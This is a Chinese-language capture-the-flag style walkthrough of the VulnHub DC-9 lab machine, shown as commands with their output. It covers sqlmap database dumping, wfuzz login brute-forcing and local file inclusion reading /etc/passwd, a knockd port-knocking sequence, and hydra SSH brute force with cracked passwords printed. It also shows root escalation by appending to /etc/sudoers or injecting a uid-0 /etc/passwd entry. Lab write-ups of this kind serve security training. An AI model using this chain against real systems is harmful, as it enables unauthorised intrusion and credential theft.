【vulnhub】靶機-【DC系列】DC9(附靶機)

Ms08067安全實驗室發表於2021-01-29

出品|MS08067實驗室(www.ms08067.com)

本文作者:大方子(Ms08067實驗室核心成員)

主機資訊

Kali:192.168.56.113

DC9:192.168.56.112

實驗過程

先進行主機探測,查詢靶機的IP地址:

arp‐scan ‐‐interface eth1 192.168.56.1/24

【vulnhub】靶機-【DC系列】DC9(附靶機)

用nmap對主機進行排查確定,DC9的IP地址為192.168.56.112

可以看到DC開放了80埠以及22埠(被過濾)

nmap ‐sC ‐sV ‐oA dc‐9 192.168.56.112

【vulnhub】靶機-【DC系列】DC9(附靶機)

所以首先從80埠入手,每個網頁都點開看看。看到這個搜尋頁面感覺可以嘗試下SQL隱碼攻擊

【vulnhub】靶機-【DC系列】DC9(附靶機)

這裡我們用Burp進行嘗試,發現的確存在注入點

【vulnhub】靶機-【DC系列】DC9(附靶機)

把請求資訊匯出為dc9.sqlmap,接下來用SQLmap進行遍歷

python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap

【vulnhub】靶機-【DC系列】DC9(附靶機)

然後接下來用sqlmap匯出資料

python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐‐dbs 
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐‐tables
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐‐columns
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐C
username,password ‐‐dump
【vulnhub】靶機-【DC系列】DC9(附靶機)
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D Staff ‐T Users ‐C Username,Password ‐‐dump
【vulnhub】靶機-【DC系列】DC9(附靶機)

這裡SQLmap直接幫我得到admin的密碼明文(transorbital1)

管理員賬號:admin
管理員密碼:transorbital1

附線上破解網站:https://hashes.com/en/decrypt/hash

我們將所有的賬號,密碼進行整理,分別整理到username,password(這裡需要注意的是,只要管理員 的密碼是需要解密的,其他使用者的密碼是明文)

【vulnhub】靶機-【DC系列】DC9(附靶機)

用wfuzz進行批量登陸檢視頁面反應,只有管理員的賬號是302 (ps:意料之中)

‐c:帶顏色輸出 ‐d:post引數 ‐z:payload ‐m:模式 zip迭代 字典和佔位符一一對應進行遍歷
wfuzz ‐c ‐z file,username ‐z file,password ‐m zip ‐d 'username=FUZZ&password=FUZ2Z' http://192.168.56.112/manage.php
【vulnhub】靶機-【DC系列】DC9(附靶機)

然後我們用管理賬號進行登陸

【vulnhub】靶機-【DC系列】DC9(附靶機)

可以看到頁面下面出現File does not exist的提示,感覺很有可能就是LFI(本地檔案包含)

但是此時我們並不知道引數是多少,這裡同樣用wfuzz嘗試進行遍歷(注意這裡用把登陸之後的 cookies也要寫上,否則網頁會提示你要登陸)

檢視cookies的話可以瀏覽器直接檢視,也可以讓wfuzz把請求發給burp進行檢視

#‐p:新增代理
wfuzz ‐p 127.0.0.1:8080:HTTP

字典地址:https://github.com/danielmiessler/SecLists

‐b:cookies ‐hw:隱藏指定位元組數的結果 ‐w 字典檔案
wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w 
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt 
http://192.168.56.112/manage.php?FUZZ=index.php

wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w 
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt 
http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/passwd
【vulnhub】靶機-【DC系列】DC9(附靶機)

這裡我們就找到引數file

【vulnhub】靶機-【DC系列】DC9(附靶機)

然後我們通過/proc/sched_debug 來檢視Linux系統中任務的排程情況

http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../proc/sched_debug
【vulnhub】靶機-【DC系列】DC9(附靶機)

整理查詢發現靶機上執行這knockd

關於knockd的介紹:https://blog.csdn.net/nzjdsds/article/details/112476120

【vulnhub】靶機-【DC系列】DC9(附靶機)

那麼我們讀取下knockd的配置檔案

http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/knockd.conf
【vulnhub】靶機-【DC系列】DC9(附靶機)
[options] 
        UseSyslog
[openSSH] 
        sequence = 7469,8475,9842 
        seq_timeout = 25 
        command = /sbin/iptables ‐I INPUT ‐s %IP% ‐p tcp ‐‐dport 22 ‐j ACCEPT 
        tcpflags = syn
[closeSSH] 
        sequence = 9842,8475,7469 
        seq_timeout = 25 
        command = /sbin/iptables ‐D INPUT ‐s %IP% ‐p tcp ‐‐dport 22 ‐j ACCEPT 
        tcpflags = syn

這裡提供2種敲擊方法:nc、nmap

for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.56.112;done 
for x in 7469 8475 9842 22 ;do nc 192.168.56.112 $x;done
【vulnhub】靶機-【DC系列】DC9(附靶機)

此時SSH就可以正常連線,接下來我們用hydra來進行爆破,使用者名稱和密碼就是我們先前SQL隱碼攻擊獲得的

hydra ‐L username ‐P password ssh://192.168.56.112
【vulnhub】靶機-【DC系列】DC9(附靶機)
[22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee 
[22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd 
[22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!

然後我們對這幾個賬號都嘗試進行登陸

ssh janitor@192.168.56.112
【vulnhub】靶機-【DC系列】DC9(附靶機)

只有janitor的家目錄存在一個名為.secrets-for-putin的資料夾,並且在其中又得到一些密碼

【vulnhub】靶機-【DC系列】DC9(附靶機)

我們把這些密碼加入到password檔案中

同時我們在janitor使用LinPEAS來探測下可利用的點

下載地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

現在Kali上開啟HTTP服務

python3 ‐m http.server 80
【vulnhub】靶機-【DC系列】DC9(附靶機)

然後在靶機上進行下載

wget http://192.168.56.114/linpeas.sh
【vulnhub】靶機-【DC系列】DC9(附靶機)

然後執行之後,感覺並沒有什麼特別的點

bash linpeas.sh
【vulnhub】靶機-【DC系列】DC9(附靶機)

再使用hydra使用剛剛更新過的password檔案進行SSH爆破,可以看到多了一個fredf使用者

【vulnhub】靶機-【DC系列】DC9(附靶機)
[22][ssh] host: 192.168.56.112 login: fredf password: B4‐Tru3‐001 
[22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee 
[22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd 
[22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!

然後登陸到fredf賬號,檢視下fredf的sudo許可權,可以看到fredf可以不用密碼以root許可權執 行/opt/devstuff/dist/test/test的檔案

sudo ‐l
【vulnhub】靶機-【DC系列】DC9(附靶機)

/opt/devstuff/dist/test/test是一個可執行檔案,執行後出現下面的提示,應該是一個python指令碼轉化為的可執行的檔案

【vulnhub】靶機-【DC系列】DC9(附靶機)

可以在上級目錄找到同名的 test.py 然後cat下內容,應該是由這個檔案編譯過來的

指令碼的作用就是將第一個檔案的內容附加到另一個檔案裡面去

【vulnhub】靶機-【DC系列】DC9(附靶機)

這樣提權就變得非常簡單,這裡提供2個提權的思路

提權思路1:往/etc/sudoers裡面新增內容,讓使用者可以以root的許可權去執行命令

建立/dev/shm/sudoerAdd,內容如下

joeyt ALL=(ALL) ALL

然後執行

sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers
【vulnhub】靶機-【DC系列】DC9(附靶機)

然後登陸joeyt,然後切換成root身份,get flag

提權思路2:新增一個新的使用者到/etc/passwd,然後新新增的使用者登陸

這裡用Openssl來對密碼進行加密,在進行編輯輸入到/tmp/new-passwd

openssl passwd ‐1 ‐salt 123456 dfz
dfz:$1$123456$1VU0YpuL7WOQvLLyYTbbv1:0:0:root:/root:/bin/bash
【vulnhub】靶機-【DC系列】DC9(附靶機)

然後把/tmp/new-passwd寫入到/etc/passwd

sudo /opt/devstuff/dist/test/test /tmp/new‐passwd /etc/passwd
【vulnhub】靶機-【DC系列】DC9(附靶機)

靶機下載地址:http://www.five86.com/downloads/DC-9.zip
轉載請聯絡作者並註明出處!

掃描下方二維碼加入星球學習

加入後會邀請你進入內部微信群,內部微信群永久有效!

【vulnhub】靶機-【DC系列】DC9(附靶機)【vulnhub】靶機-【DC系列】DC9(附靶機)【vulnhub】靶機-【DC系列】DC9(附靶機)

【vulnhub】靶機-【DC系列】DC9(附靶機)【vulnhub】靶機-【DC系列】DC9(附靶機)【vulnhub】靶機-【DC系列】DC9(附靶機)